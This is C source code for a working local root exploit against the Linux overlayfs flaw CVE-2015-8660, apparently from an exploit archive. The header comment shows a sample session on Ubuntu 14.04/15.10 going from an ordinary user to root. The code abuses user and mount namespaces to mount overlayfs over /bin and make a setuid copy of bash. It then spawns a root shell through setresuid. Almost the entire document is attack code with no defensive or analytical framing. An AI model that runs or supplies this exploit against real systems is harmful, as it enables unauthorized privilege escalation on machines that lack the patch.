/* just another overlayfs exploit, works on kernels before 2015-12-26 # Exploit Title: overlayfs local root # Date: 2016-01-05 # Exploit Author: rebel # Version: Ubuntu 14.04 LTS, 15.10 and more # Tested on: Ubuntu 14.04 LTS, 15.10 # CVE : CVE-2015-8660 blah@ubuntu:~$ id uid=1001(blah) gid=1001(blah) groups=1001(blah) blah@ubuntu:~$ uname -a && cat /etc/issue Linux ubuntu 3.19.0-42-generic #48~14.04.1-Ubuntu SMP Fri Dec 18 10:24:49 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux Ubuntu 14.04.3 LTS \n \l blah@ubuntu:~$ ./overlayfail root@ubuntu:~# id uid=0(root) gid=1001(blah) groups=0(root),1001(blah) 12/2015 by rebel 6354b4e23db225b565d79f226f2e49ec0fe1e19b */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include static char child_stack[1024*1024]; static int child_exec(void *stuff) { system("rm -rf /tmp/haxhax"); mkdir("/tmp/haxhax", 0777); mkdir("/tmp/haxhax/w", 0777); mkdir("/tmp/haxhax/u",0777); mkdir("/tmp/haxhax/o",0777); if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) { fprintf(stderr,"mount failed..\n"); } chmod("/tmp/haxhax/w/work",0777); chdir("/tmp/haxhax/o"); chmod("bash",04755); chdir("/"); umount("/tmp/haxhax/o"); return 0; } int main(int argc, char **argv) { int status; pid_t wrapper, init; int clone_flags = CLONE_NEWNS | SIGCHLD; struct stat s; if((wrapper = fork()) == 0) { if(unshare(CLONE_NEWUSER) != 0) fprintf(stderr, "failed to create new user namespace\n"); if((init = fork()) == 0) { pid_t pid = clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); if(pid < 0) { fprintf(stderr, "failed to create new mount namespace\n"); exit(-1); } waitpid(pid, &status, 0); } waitpid(init, &status, 0); return 0; } usleep(300000); wait(NULL); stat("/tmp/haxhax/u/bash",&s); if(s.st_mode == 0x89ed) execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL); fprintf(stderr,"couldn't create suid :(\n"); return -1; }